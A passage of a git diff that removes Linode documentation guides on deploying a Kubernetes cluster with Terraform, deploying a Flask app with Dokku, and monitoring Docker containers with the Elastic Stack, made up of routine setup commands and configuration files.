kubeadm to Deploy a Cluster on Linode](/cloud/guides/deploy-kubernetes-cluster-using-kubeadm/) to get familiar with kubeadm. - -3. You have a personal access token for the Linode API to use with Terraform. Follow the [Getting Started with the Linode API](https://techdocs.akamai.com/linode-api/reference/get-started#get-an-access-token) to get a token. - - {{< note >}} - When creating a personal access token, ensure it is set to **Read/Write** access as new Linode servers are being created. - {{< /note >}} - -4. Terraform is installed on your computer. See [Install Terraform](/cloud/guides/how-to-build-your-infrastructure-using-terraform-and-linode/#install-terraform) for more information. - - {{< note >}} - This guide was written using [Terraform version 0.12.24](https://www.hashicorp.com/blog/announcing-terraform-0-12/). The module requires at least Terraform 0.10. - {{< /note >}} - -5. And, lastly, kubectl is installed on your computer. The kubectl is necessary to connect to and manage the Kubernetes cluster; deployment using the Terraform module fails if kubectl is not installed locally. See [Install kubectl](#install-kubectl) for more information. - -## Configure the Local Environment - -Deploying a Kubernetes cluster with Linode's K8s Terraform module requires: - -- a local environment with a kubectl instance -- a system-wide installation of Python -- SSH keys, SSH keys configured with the SSH agent -- the `sed` and `scp` command-line utilities -The module's script `preflight.sh` verifies these requirements are installed on the local environment and generates a `$var not found` error if any of the tools are missing. In this section learn how to: -- install and configure kubectl -- set up the SSH agent -- create an environment variable to store the API v4 token - -If there is an error stating the system is missing Python, scp, or sed, use the operating system's [package manager](/cloud/guides/linux-package-management-overview/) to install the missing utilities. - -{{< note type="secondary" title="Create a Python Alias" isCollapsible=true >}} -If Python is invoked using `python3`, alias the command so Terraform can [execute scripts locally](https://www.terraform.io/docs/provisioners/local-exec.html) using Python as its interpreter. Using a text editor, edit `~/.bashrc` file to include the following alias: - - alias python=python3 - -Then, reinitialize `~/.bashrc` file for the changes to take effect. - - source ~/.bashrc -{{< /note >}} - -### Install kubectl - -{{% content "how-to-install-kubectl" %}} - -### SSH Agent - -By default, Terraform uses the SSH agent of the operating system to connect to a Linode instance through SSH. In this section learn how to run the SSH agent and add the necessary SSH keys to it. - -1. Run the SSH agent with the following command: - - eval `ssh-agent` - - The output is similar to: - - {{< output >}} -Agent pid 11308 - {{}} - -2. Add the SSH keys to the agent. For more information, see [creating an authentication key-pair](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#upload-ssh-key). This command adds keys from the default location, `~/.ssh/` - - ssh-add - - The output is similar to: - - {{< output >}} -Identity added: /home/example_user/.ssh/id_rsa (/home/example_user/.ssh/id_rsa) - {{}} - -### Linode API Token - -Before running the project, create an access token for Terraform to connect to the Linode API. -Using the token and your access key, create the `LINODE_TOKEN` environment variable: - -```bash -read -sp "Linode Token: " TF_VAR_linode_token # Enter your Linode Token (it will be hidden) -export TF_VAR_linode_token -``` - -This variable needs to be supplied to every Terraform `apply`, `plan`, and `destroy` command using `-var linode_token=$LINODE_TOKEN` unless a `terraform.tfvars` file is created with this secret token. - -## Create Terraform Configuration Files - -1. In the directory where Terraform was installed, create a new directory to store the configuration files of the K8s cluster. - - cd terraform - mkdir k8s-cluster - -2. Using a text editor, create the main configuration file of the cluster and name it `main.tf`. Add the following contents to the file. - - {{< file "~/terraform/k8s-cluster/main.tf">}} -terraform { - required_providers { - linode = { - source = "linode/linode" - version = "1.16.0" - } - } -} -module "k8s" { - source = "linode/k8s/linode" - version = "0.1.2" - linode_token = var.linode_token - server_type_master = var.server_type_master - server_type_node = var.server_type_node - cluster_name = var.cluster_name - k8s_version = var.k8s_version - region = var.region - nodes = var.nodes -} - {{}} - - This file contains the main configuration arguments of the cluster. The only required configurations are `source` and `linode_token`. `source` calls Linode's k8s module, while the `linode_token` gives access to viewing, creating, and destroying Linode resources. - - The rest of the configurations are [optional](https://registry.terraform.io/modules/linode/k8s/linode/0.1.2?tab=inputs#optional-inputs) and have some default values. In this example, however, [Terraform's input variables](/cloud/guides/beginners-guide-to-terraform/#input-variables) are used, so the `main.tf` configuration can be reused across different clusters. - -1. Create an input variables file, named `variables.tf`, with the example content. - - {{< file "~/terraform/k8s-cluster/variables.tf">}} -variable "linode_token" { - description = " Linode API token" -} - -variable "server_type_master" { - default = "g6-standard-2" - description = " Linode API token" -} - -variable "cluster_name" { - description = " Linode API token" - default = "example-cluster-1" -} - -variable "server_type_node" { - description = " Linode API token" - default = "g6-standard-1" -} - -variable "k8s_version" { - description = " Linode API token" - default = "v1.14.0" -} - -variable "region" { - description = "Values: us-east, ap-west, etc." - default = "us-east" -} - -variable "nodes" { - description = " Linode API token" - default = 3 -} - {{}} - - The example file creates input variables referenced in the main configuration file that was created. The values for those variables are assigned in a separate file in the next step. The default values of the k8s module can be overridden, as in the example file. For more details about input variables, see the [Input Variables](/cloud/guides/beginners-guide-to-terraform/#input-variables) section in the [A Beginner's Guide to Terraform](/cloud/guides/beginners-guide-to-terraform/). - -1. Create an input variables values file to provide the main configuration file with values that differ from the defaults in input variable file. - - {{< file "~/terraform/k8s-cluster/terraform.tfvars">}} -server_type_master = "g6-standard-4" -cluster_name = "example-cluster-2" - {{}} - - In this example, the master node of the cluster uses a `g6-standard-4` Linode plan, instead of the default `g6-standard-2`, and the `cluster_name` is set to `example-cluster-2`, instead of `example-cluster-1`. - -### Deploy the Kubernetes Cluster using Terraform - -1. Change to the `~/terraform/k8s-cluster/` directory and initialize Terraform to install the Linode K8s module. - - terraform init - -1. Verify Terraform creates the resources of the cluster as expected before making any actual changes to the infrastructure. To do this, run the `plan` command: - - terraform plan - - This command generates a report detailing what actions Terraform takes to set up the Kubernetes cluster. - -1. If satisfied with the generated report, run the `apply` command to create the Kubernetes cluster. This command prompts confirmation to proceed. - - terraform apply -var-file="terraform.tfvars" - - After a few minutes, when Terraform has finished applying the configuration, it displays a report of the actions were taken. And the Kubernetes cluster is ready for you to connect to it. - -### Connect to the Kubernetes cluster with kubectl - -After Terraform finishes deploying the Kubernetes cluster, the `~/terraform/k8s-cluster/` directory should contain a file named `default.conf`. This file contains the [kubeconfig](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/) file. Use kubectl, along with this file, to gain access to the Kubernetes cluster. - -1. Save the path of the kubeconfig file to the `$KUBECONFIG` environment variable. In the example command, the kubeconfig file is located in the Terraform directory created at the beginning of this guide. Ensure the command is updated with the location of the `default.conf` file: - - export KUBECONFIG=~/terraform/k8s-cluster/default.conf - - {{< note respectIndent=false >}} -It is common practice to store kubeconfig files in `~/.kube` directory. By default, kubectl searches for a kubeconfig file named `config` that is located in the `~/.kube` directory. Other kubeconfig files can also be specified by setting the `$KUBECONFIG` environment variable. -{{< /note >}} - -1. View the nodes in the cluster using kubectl. - - kubectl get nodes - - {{< note respectIndent=false >}} -If the kubectl commands are not returning the resources and information you expect, then the client may be assigned to the wrong cluster context. Visit the [Troubleshooting Kubernetes](/cloud/guides/troubleshooting-kubernetes/#troubleshooting-examples) guide to learn how to switch cluster contexts. -{{< /note >}} - -You are now ready to manage the cluster using kubectl. For more information about using kubectl, see the Kubernetes [Overview of kubectl](https://kubernetes.io/docs/reference/kubectl/overview/). - -### Persist the Kubeconfig Context - -A new terminal window does not have access to the context specified using the previous instructions. This context information can be made persistent between new terminals by setting the [`KUBECONFIG` environment variable](https://kubernetes.io/docs/tasks/access-application-cluster/configure-access-multiple-clusters/#set-the-kubeconfig-environment-variable) in the configuration file of the shell. - -{{< note >}} -If you are using Windows, review the [official Kubernetes documentation](https://kubernetes.io/docs/tasks/access-application-cluster/configure-access-multiple-clusters/#set-the-kubeconfig-environment-variable) to persist a context. -{{< /note >}} - -These instructions are for the Bash shell and they are similar to other shells: - -1. Navigate to the `$HOME/.kube` directory: - - cd $HOME/.kube - -1. Create a directory named `configs` within `$HOME/.kube`. This directory can be used to store the kubeconfig files. - - mkdir configs - -1. Copy the `default.conf` file to the `$HOME/.kube/configs` directory. - - cp ~/terraform/k8s-cluster/default.conf $HOME/.kube/configs/default.conf - - {{< note respectIndent=false >}} -Optionally, you can provide the copied file a different name to help distinguish it from other files in the `configs` directory. -{{< /note >}} - -1. Open up the Bash profile (`~/.bashrc`) in a text editor and add the configuration file to the `$KUBECONFIG` PATH variable. - - If an `export KUBECONFIG` line is already present in the file, append to the end of this line as follows; if it is not present, add this line to the end of the file: - - export KUBECONFIG=$KUBECONFIG:$HOME/.kube/config:$HOME/.kube/configs/default.conf - -1. Close the terminal window and open a new window to receive the changes to the `$KUBECONFIG` variable. - -1. Use the `config get-contexts` command for `kubectl` to view the available cluster contexts: - - kubectl config get-contexts - - The output should be similar to the following: - - {{< output >}} -CURRENT NAME CLUSTER AUTHINFO NAMESPACE -* kubernetes-admin@example-cluster-1 example-cluster-1 kubernetes-admin -{{}} - -1. If your context is not already selected, which is denoted by an asterisk in the `current` column, switch to this context using the `config use-context` command. Supply the full name of the cluster including the authorized user and the cluster: - - kubectl config use-context kubernetes-admin@example-cluster-1 - - The output should be similar to the following: - - {{< output >}} -Switched to context "kubernetes-admin@example-cluster-1". -{{}} - -1. You are now ready to interact with the cluster using `kubectl`. Test the ability to interact with the cluster by retrieving a list of Pods. Use the `get pods` command with the `-A` flag to see all pods running across all namespaces: - - kubectl get pods -A - - The output should be similar to the following: - - {{< output >}} -NAMESPACE NAME READY STATUS RESTARTS AGE -kube-system calico-node-5bkc6 2/2 Running 0 17m -kube-system calico-node-gp5ls 2/2 Running 0 17m -kube-system calico-node-grpnj 2/2 Running 0 17m -kube-system calico-node-qd85t 2/2 Running 0 17m -kube-system ccm-linode-mjgzz 1/1 Running 0 17m -kube-system coredns-fb8b8dccf-5tlbm 1/1 Running 0 17m -kube-system coredns-fb8b8dccf-7tpgf 1/1 Running 0 17m -kube-system csi-linode-controller-0 3/3 Running 0 17m -kube-system csi-linode-node-gfd8m 2/2 Running 0 17m -kube-system csi-linode-node-hrfnd 2/2 Running 0 16m -kube-system csi-linode-node-q6fmd 2/2 Running 0 17m -kube-system etcd-mytestcluster-master-1 1/1 Running 0 16m -kube-system external-dns-7885f88564-tvpjf 1/1 Running 0 17m -kube-system kube-apiserver-mytestcluster-master-1 1/1 Running 0 16m -kube-system kube-controller-manager-mytestcluster-master-1 1/1 Running 0 16m -kube-system kube-proxy-cs9tm 1/1 Running 0 17m -kube-system kube-proxy-qljn5 1/1 Running 0 17m -kube-system kube-proxy-sr5h8 1/1 Running 0 17m -kube-system kube-proxy-ww2tx 1/1 Running 0 17m -kube-system kube-scheduler-mytestcluster-master-1 1/1 Running 0 16m -kube-system kubernetes-dashboard-5f7b999d65-jk99z 1/1 Running 0 17m -kube-system metrics-server-58db9f9647-tz8f8 1/1 Running 0 17m -reboot-coordinator container-linux-update-agent-6kgqm 1/1 Running 0 16m -reboot-coordinator container-linux-update-agent-7nck5 1/1 Running 0 17m -reboot-coordinator container-linux-update-agent-nhlxj 1/1 Running 0 17m -reboot-coordinator container-linux-update-agent-vv8db 1/1 Running 0 17m -reboot-coordinator container-linux-update-operator-5c9d67d4cf-78wbp 1/1 Running 0 17m -{{}} diff --git a/docs/guides/applications/containers/deploy-a-flask-application-with-dokku/index.md b/docs/guides/applications/containers/deploy-a-flask-application-with-dokku/index.md deleted file mode 100644 index 80d494844eb..00000000000 --- a/docs/guides/applications/containers/deploy-a-flask-application-with-dokku/index.md +++ /dev/null @@ -1,283 +0,0 @@ ---- -slug: deploy-a-flask-application-with-dokku -title: "Deploy a Flask Application with Dokku" -description: "In this guide, we'll show you how to use Dokku to quickly deploy a Flask application with SSL and NGINX." -authors: ["Sam Foo"] -contributors: ["Sam Foo"] -published: 2018-03-07 -modified: 2018-12-14 -keywords: ['docker','containers','nginx', 'heroku', 'PaaS', 'git', 'Platform-as-a-service', 'Platform As a Service'] -tags: ["container","docker","ssl","nginx"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Dokku PaaS](http://dokku.viewdocs.io/dokku/)' -- '[Flask](http://flask.pocoo.org/)' -aliases: ['/applications/containers/deploy-a-flask-application-with-dokku/'] ---- - -Dokku is a self-hosted Platform-as-a-Service (PaaS) that makes deploying applications simple using Git. Although Dokku's implementation is similar to Heroku, it lacks certain key features such as auto-scaling. Dokku is an extremely powerful tool that automatically runs your application inside Docker and requires minimal configuration of web servers. - -This guide demonstrates how to: - - - Create a Flask application that returns 'Hello World!' on the index page - - Install Dokku on a Linode - - Deploy a Flask application with a WSGI server inside a Docker container - - Add an SSL certificate through Dokku with the Let's Encrypt plugin - -## Before You Begin - -### On Your Local Computer - -{{< note >}} -Dokku v0.12.5 is compatible with Ubuntu 16.04 x64, Ubuntu 14.04 x64, and Debian 8.2 x64. CentOS 7 x64 is only supported experimentally, and as such some steps like configuring SSH keys and virtual hosts must be done manually using the dokku command line interface. See [the official documentation](http://dokku.viewdocs.io/dokku~v0.12.5/getting-started/installation/) for more information. -{{< /note >}} - -A [public key](/cloud/guides/use-public-key-authentication-with-ssh/) is assumed to be available. Typically this is located in `~/home/username/.ssh/id_rsa.pub`. - -Install Git if needed: - - sudo apt install git - -### On Your Linode - -The Dokku install script creates a `dokku` user on the system, installs Docker, and pulls the relevant image. - -1. Download the install script from Dokku then run the script: - - wget https://raw.githubusercontent.com/dokku/dokku/v0.12.5/bootstrap.sh - sudo DOKKU_TAG=v0.12.5 bash bootstrap.sh - - {{< output >}} -Preparing to install v0.11.6 from https://github.com/dokku/dokku.git... -For dokku to build containers, it is strongly suggested that you have 1024 megabytes or more of free memory -If necessary, please consult this document to setup swap: http://dokku.viewdocs.io/dokku/advanced-installation/#vms-with-less-than-1gb-of-memory ---> Ensuring we have the proper dependencies ---> Initial apt-get update ---> Installing docker ---> NOTE: Using Linode? Docker may complain about missing AUFS support. - You can safely ignore this warning. - Installation will continue in 10 seconds. -... -{{< /output >}} - -2. Navigate to the public IP address of your Linode in a browser and enter the public key: - - ![Initial Dokku Installation](dokku-public-key.png) - - {{< note type="alert" respectIndent=false >}} -Add the public key immediately after running the installation script to avoid someone else adding a public key to Dokku. For an unattended installation, refer to the [advanced installation instructions](https://github.com/dokku/dokku/blob/master/docs/getting-started/advanced-installation.md). -{{< /note >}} - -3. To add additional SSH keys, pipe the output over SSH to the `dokku` user. Replace `example.com` with the IP address of your Linode. - - cat ~/.ssh/id_rsa.pub | ssh dokku@example.com ssh-keys:add new-key - -## Create a Flask Application - -1. On your local computer, create a new project directory: - - mkdir flask-example && cd flask-example - -2. Create a new file called `hello_world.py` that serves 'Hello World!' on the index page. - - {{< file "hello_world.py" python >}} -import os - -from flask import Flask - -app = Flask(__name__) - -@app.route('/') -def hello(): - return 'Hello World!' - -if __name__ == '__main__': - # Bind to PORT if defined, otherwise default to 5000. - port = int(os.environ.get('PORT', 5000)) - app.run(host='127.0.0.1', port=port) -{{< /file >}} - -3. Add a `requirements.txt` file to track versions of any dependencies of the Flask application. Gunicorn is the WSGI server used to allow Flask to interface properly with NGINX. - - {{< file "requirements.txt" >}} -Flask==0.12.1 -gunicorn==19.7.1 -{{< /file >}} - -4. For more complex projects with many dependencies using a virtual environment, redirect output of `pip freeze` into `requirements.txt`. - - pip freeze > requirements.txt - -### Add a gitignore - -Optionally, add a `.gitignore` file to have Git omit caching and virtual environment files from version control. - -{{< file ".gitignore" >}} -__pycache__/ -*.pyc - -venv/ -{{< /file >}} - -### Procfile - -The Procfile tells the Gunicorn server what command to use when launching the app: - -{{< file "Procfile" >}} -web: gunicorn hello_world:app --workers=4 -{{< /file >}} - -{{< note >}} -4 workers is a good default for an web app running on a Linode. See the [Gunicorn docs](http://docs.gunicorn.org/en/stable/design.html#how-many-workers) for more information about determining the correct number of workers for your particular app. -{{< /note >}} - -### Git Remote - -1. Initialize a Git repository: - - git init - git add . - git commit -m "Deploy Flask with Dokku" - -2. Add a remote named `dokku` with the username `dokku` and substitute `example.com` with the public IP address of your Linode: - - git remote add dokku dokku@example.com:flask-example - -3. Verify the remote is added: - - git remote -v - - This will list the remotes. - - {{< output >}} -dokku dokku@example-ip:flask-example (fetch) -dokku dokku@example-ip:flask-example (push) -{{< /output >}} - - In summary, the project layout looks like: - - flask-example - ├── .gitignore - ├── Procfile - ├── hello_world.py - └── requirements.txt - -## Create Project on a Dokku Host - -1. SSH into your Linode and create the application: - - dokku apps:create flask-example - -2. Make sure VHOST is enabled. - - dokku domains:enable flask-example - -## Deploy a Flask Application - -1. On your local computer, deploy the Flask application by pushing the branch to the `dokku` remote. This will take care of NGINX behind the scenes and expose port `80`: - - git push dokku master - - Other local branches can also be deployed but, all branches must be pushed to the master branch of the `dokku` remote: - - git push dokku branch-name:master - -2. `curl` the IP address of your Linode to test that the app was deployed successfully: - - curl example.com - - {{< output >}} -Hello World! -{{< /output >}} - -### SSL Certificate with Dokku and Let's Encrypt - -The remaining steps in this guide should be performed from your Linode. - -1. Install the Let's Encrypt plugin for Dokku: - - sudo dokku plugin:install https://github.com/dokku/dokku-letsencrypt.git - -2. Set the `DOKKU_LETSENCRYPT_EMAIL` environment variable to the email for Let's Encrypt: - - dokku config:set flask-example DOKKU_LETSENCRYPT_EMAIL=docs@linode.com - -3. Add the application and domain: - - dokku domains:add flask-example example.com - -4. Create the SSL certificate. NGINX will automatically start serving the application over HTTPS on port 443: - - dokku letsencrypt flask-example - -5. Run this as a cron job so the certificate will renew automatically:. - - dokku letsencrypt:cron-job --add - - {{< note respectIndent=false >}} -This requires Dokku version 0.5 or higher. Check by running `dokku version`. -{{< /note >}} - -## Start, Stop, and Restart Applications - -* List all running Dokku applications: - - dokku apps - -* Restart an application: - - dokku ps:restart flask-example - -* Stop an application: - - dokku ps:stop flask-example - -* Restore all applications after a reboot: - - dokku ps:restore - -### View Application Logs - -View the application logs through Dokku or the Docker container. - -1. To see logs through Dokku: - - dokku logs flask-example - -2. List all running Docker containers: - - sudo docker ps -a - -3. Find the container ID then run: - - sudo docker logs container_id - -## Scale Applications - -Dokku does not scale applications automatically, and by default will only run a single `web` process. To increase the number of containers running your application, you can use the `ps:scale` command. - -1. Check how many workers your application currently has: - - dokku ps:scale flask-example - - {{< output >}} ------> Scaling for flask-example ------> proctype qty ------> -------- --- ------> web 1 -{{< /output >}} - -2. Scale up to 4 `web` processes: - - dokku ps:scale flask-example web=4 - -3. Confirm that the new processes are running: - - {{< output >}} ------> Scaling for flask-example ------> proctype qty ------> -------- --- ------> web 4 -{{< /output >}} - -Dokku is an open source alternative to Heroku for small applications. Deploying applications is as simple as pushing to a remote with Git. Elements such as Docker and NGINX are abstracted away to minimize time to deployment. There are additional features such as [pre-deploy hooks](http://dokku.viewdocs.io/dokku/advanced-usage/deployment-tasks/) and linking databases which are not shown in this guide. diff --git a/docs/guides/applications/containers/how-to-monitor-containers-with-the-elastic-stack/index.md b/docs/guides/applications/containers/how-to-monitor-containers-with-the-elastic-stack/index.md deleted file mode 100644 index 91a9d03d692..00000000000 --- a/docs/guides/applications/containers/how-to-monitor-containers-with-the-elastic-stack/index.md +++ /dev/null @@ -1,303 +0,0 @@ ---- -slug: how-to-monitor-containers-with-the-elastic-stack -title: Container Instrumentation with the Elastic Stack -description: 'This guide will show you how to configure Filebeat and Metricbeat to monitor Docker container logs & metrics for visualization with Elastic Stack in Kibana.' -authors: ["Tyler Langlois"] -contributors: ["Tyler Langlois"] -published: 2019-02-10 -keywords: ["elastic", "filebeat", "metricbeat", "elasticsearch", "kibana", "docker", "container", "nginx"] -tags: ["container","docker","nginx"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Filebeat Modules](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-modules.html)' -- '[Metricbeat Modules](https://www.elastic.co/guide/en/beats/metricbeat/current/metricbeat-modules.html)' -- '[Elastic Container Monitoring](https://www.elastic.co/docker-kubernetes-container-monitoring)' -- '[Docker Command-Line Reference](https://docs.docker.com/reference/)' -aliases: ['/applications/containers/how-to-monitor-containers-with-the-elastic-stack/'] ---- - -![Container Instrumentation with the Elastic Stack](container-instrumentation-with-the-elastic-stack.png "Container Instrumentation with the Elastic Stack") - -The [Elastic Stack](https://www.elastic.co/products) can monitor a variety of data generated by [Docker](https://www.docker.com/) containers. In this guide, you will set up a Linode to analyze and visualize container logs and metrics using tools like Kibana, Beats, and Elasticsearch. Once finished, you will be able to configure your system to collect data for additional containers automatically. - -## Before you Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. Follow our [UFW Guide](/cloud/guides/configure-firewall-with-ufw/) in order to install and configure a firewall (UFW) on your Ubuntu or Debian-based system, or our [FirewallD Guide](/cloud/guides/introduction-to-firewalld-on-centos/) for rpm or CentOS-based systems. After configuring the firewall, ensure that the necessary ports are open in order to proceed with connections over SSH for the rest of this guide: - - sudo ufw allow ssh - -1. Install Docker on your Linode by following [the installation guide from the Docker project](https://docs.docker.com/). - -{{< note >}} -The services in this guide bind to localhost only, which means they are not accessible outside of the Linode from remote hosts. This ensures that Elasticsearch's REST API remains private to localhost and is not remotely accessible from the internet. If you take steps beyond this guide to configure Elasticsearch and related components further, ensure that your firewall is in place and correctly blocking traffic to the Elasticsearch and Kibana nodes from the internet (ports 9200 and 9300 for Elasticsearch and 5601 for Kibana) to keep them properly secured. -{{< /note >}} - -## Install Elastic Stack Components - -Before configuring your system to monitor running containers, first install the components necessary to collect and ship logs and metrics to Elasticsearch. - -### Debian-Based Distributions - -Configure the Elastic `apt` repository and install the necessary packages and their dependencies. - -1. Install the official Elastic APT package signing key: - - wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add - - -2. Install the `apt-transport-https` package, which is required to retrieve `deb` packages served over HTTPS: - - sudo apt-get install apt-transport-https - -3. Add the APT repository information to your server's list of sources: - - echo "deb https://artifacts.elastic.co/packages/6.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-6.x.list - -4. Refresh the list of available packages: - - sudo apt-get update - -5. Before installing Elasticsearch, the Java runtime must be present. On systems such as Ubuntu 18.04 LTS, using the `default-jre-headless` package installs a compatible Java runtime: - - sudo apt-get install default-jre-headless - -6. Install Elasticsearch, Kibana, Filebeat, and Metricbeat: - - sudo apt-get install elasticsearch kibana filebeat metricbeat - -### Redhat-Based Distributions - -Configure the `rpm` repository for `yum` and related packaging tools. - -1. Trust the Elastic signing key: - - sudo rpm --import https://artifacts.elastic.co/GPG-KEY-elasticsearch - -1. Create a yum repository configuration to use the Elastic yum repository: - - {{< file "/etc/yum.repos.d/elasticsearch.repo" ini >}} -[elasticsearch-6.x] -name=Elastic repository for 6.x packages -baseurl=https://artifacts.elastic.co/packages/6.x/yum -gpgcheck=1 -gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch -enabled=1 -autorefresh=1 -type=rpm-md - {{< /file >}} - -1. Update the `yum` cache to ensure any new packages become available: - - sudo yum update - -1. Before installing Elasticsearch, the Java runtime must be present. On CentOS, for example, a compatible Java runtime can be installed using a headless OpenJDK package: - - sudo yum install java-11-openjdk-headless - -1. Install Elasticsearch, Kibana, Filebeat, and Metricbeat: - - sudo yum install elasticsearch kibana filebeat metricbeat - -## Configure The Elastic Stack - -In order to properly discover and capture container metrics, each component of the Elastic stack should be configured. - -### Elasticsearch - -In the file `/etc/elasticsearch/jvm.options` two values that begin with `-Xm` should be uncommented. These settings instruct the JVM to allocate a specific amount of memory. The recommend value for these settings is 50% of the available system RAM. For example, on a system with 1G of RAM, these settings should be: - -{{< file "/etc/elasticsearch/jvm.options" yml >}} --Xms512m --Xmx512m -{{< /file >}} - -1. Before starting Elasticsearch, install some necessary plugins to process geoip and user-agent data. - - sudo /usr/share/elasticsearch/bin/elasticsearch-plugin install ingest-user-agent - sudo /usr/share/elasticsearch/bin/elasticsearch-plugin install ingest-geoip - -1. With these setting in place, start the `elasticsearch` service. - - sudo systemctl start elasticsearch - -1. Wait for a short period of time for Elasticsearch to start, then check that Elasticsearch is responding over the REST API: - - curl http://localhost:9200 - - You should see output similar to the following: - - { - "name" : "iQEk_-M", - "cluster_name" : "elasticsearch", - "cluster_uuid" : "tQeLgbKrTNOp2AoqdmTItw", - "version" : { - "number" : "6.5.4", - "build_flavor" : "default", - "build_type" : "deb", - "build_hash" : "d2ef93d", - "build_date" : "2018-12-17T21:17:40.758843Z", - "build_snapshot" : false, - "lucene_version" : "7.5.0", - "minimum_wire_compatibility_version" : "5.6.0", - "minimum_index_compatibility_version" : "5.0.0" - }, - "tagline" : "You Know, for Search" - } - - Elasticsearch is ready to index documents. - -### Kibana - -Most of Kibana's default settings are suitable for the purposes of this guide. No configuration changes are necessary; start the `kibana` service. - - sudo systemctl start kibana - -### Filebeat - -Use the `docker` input to enable Filebeat to capture started containers dynamically. This alleviates the need to specify Docker log file paths and instead permits Filebeat to discover containers when they start. - -1. Add the following near the top of the Filebeat configuration file to instruct the `filebeat` daemon to capture Docker container logs. These lines should be entered under the configuration key `filebeat.inputs`: - - {{< file "/etc/filebeat/filebeat.yml" yml >}} -filebeat.inputs: -- type: docker - containers.ids: - - '*' - processors: - - add_docker_metadata: ~ -{{< /file >}} - -1. Uncomment the following line and change its value to `true`, which will permit Filebeat to create associated Kibana dashboards for captured container logs: - - {{< file "/etc/filebeat/filebeat.yml" yml >}} -setup.dashboards.enabled: true -{{< /file >}} - -1. Finally, add the following `autodiscover` configuration to the end of the `filebeat.yml` file: - - {{< file "/etc/filebeat/filebeat.yml" yml >}} -filebeat.autodiscover: - providers: - - type: docker - hints.enabled: true -{{< /file >}} - -1. Enable the `nginx` module, which will be used later in this tutorial: - - sudo /usr/bin/filebeat modules enable nginx - -1. The remainder of the configuration file will instruct Filebeat to send logs to the locally-running Elasticsearch instance, which can be left unchanged. Start Filebeat: - - sudo systemctl start filebeat - -### Metricbeat - -Like Filebeat, configure Metricbeat similarly to dynamically discover running containers to monitor. - -1. Metricbeat uses a module to collect container metrics. Issue the following command to enable the `docker` and `nginx` modules: - - sudo /usr/bin/metricbeat modules enable docker - sudo /usr/bin/metricbeat modules enable nginx - -1. Uncomment the following line and change its value to `true`, which will permit Metricbeat to create associated Kibana dashboards for captured container logs: - - {{< file "/etc/metricbeat/metricbeat.yml" yml >}} -setup.dashboards.enabled: true -{{< /file >}} - -1. The remainder of the configuration file will instruct Metricbeat to send logs to the locally-running Elasticsearch instance, which can be left unchanged. Metricbeat can now be started: - - sudo systemctl start metricbeat - -## Visualizing Container Logs and Metrics - -The following example demonstrates how Filebeat and Metricbeat automatically capture container data which can be accessed within Kibana. - -1. To begin, run a simple nginx Docker container on your Linode. - - sudo docker run --name nginx -P -d --label co.elastic.logs/module=nginx nginx - - - This command will run the web server in the background and expose the listening HTTP service under a random port number. - - The `--label` argument is a [hint](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-autodiscover-hints.html) to let Filebeat automatically parse the log format of certain container types, which in this case is nginx. - -1. To open a secure connection to Kibana, open an SSH tunnel to port 5601 on your Linode. - - ssh -L 5601:localhost:5601 - - - Replace `` with the username and IP address of your Linode. - - This forwards port 5601 locally to port 5601 on your Linode. - - A comprehensive guide to using SSH tunnels on a variety of platforms is available in our [Create an SSH Tunnel for MySQL guide](/cloud/guides/create-an-ssh-tunnel-for-mysql-remote-access/). - -1. Browse to `http://localhost:5601` in your browser, which will display the following initial landing page for Kibana. - - ![Kibana 6 Landing Page](kibana-landing-page.png "Kibana 6 Landing Page") - -1. Click the **Management** link in the lower left sidebar. The following page will be displayed. Then, click **Index Patterns** to enter the Index Pattern configuration page. - - ![Kibana 6 Management](kibana-management.png "Kibana 6 Management") - -1. Index Patterns dictate how Kibana understands indices that are present in Elasticsearch. In order for some visualizations to display properly, a default index pattern must first be configured. Select **filebeat-\*** on the left side of the page to configure the filebeat-* index pattern. - - ![Kibana 6 Index Patterns](kibana-filebeat-index.png "Kibana 6 Index Patterns") - -1. Click the **star icon** in the upper right corner of the page to set this index pattern as the default in Kibana. - - ![Kibana 6 Default Index Pattern](kibana-filebeat-default.png "Kibana 6 Default Index Pattern") - - Kibana is now properly configured with a default index pattern. - -1. Filebeat and Metricbeat are setup to configure Elasticsearch and Kibana automatically, so dashboards and index patterns are loaded and ready to be used. Click on **Dashboard** in the left-hand sidebar, which displays the following page. - - ![Kibana 6 Dashboards](kibana-dashboards.png "Kibana 6 Dashboards") - -1. In the Search bar, type "container" to display pre-populated dashboards for system containers. Click on the **[Metricbeat Docker] Overview** link. - - ![Kibana 6 Container Dashboards](kibana-container-dashboards.png "Kibana 6 Container Dashboards") - -1. The **[Metricbeat Docker] Overview** dashboard will load, which shows several aspects of currently-running container metrics. The dashboard displays a list of running containers, the total number of running, paused, and stopped containers, as well as metrics about container resource consumption. - - ![Kibana 6 Docker Overview](kibana-docker-overview.png "Kibana 6 Docker Overview") - - Scrolling further down, it also shows graphs indicating container resource usage over time, including CPU, memory, and network activity. - - ![Kibana 6 Docker Resources](kibana-docker-resources.png "Kibana 6 Docker Resources") - -1. Before moving on to other Kibana visualizations, generate some log activity from nginx by sending HTTP requests to the listening container. First, find which port the container is listening for requests on using the `docker` command: - - docker ps - - You should see output similar to the following: - - CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES - 3f0c6d284f1f nginx "nginx -g 'daemon of…" 23 minutes ago Up 23 minutes 0.0.0.0:32769->80/tcp nginx - - From this output, we know that the HTTP server can be reached by issuing requests to port 32769, which is being forwarded to port 80 in the container. The port on your system may be different. - -1. Send several requests to this port using the `curl` command, replacing `` with the number found in the previous step: - - for i in $(seq 1 10) ; do curl localhost: ; done - -1. Now 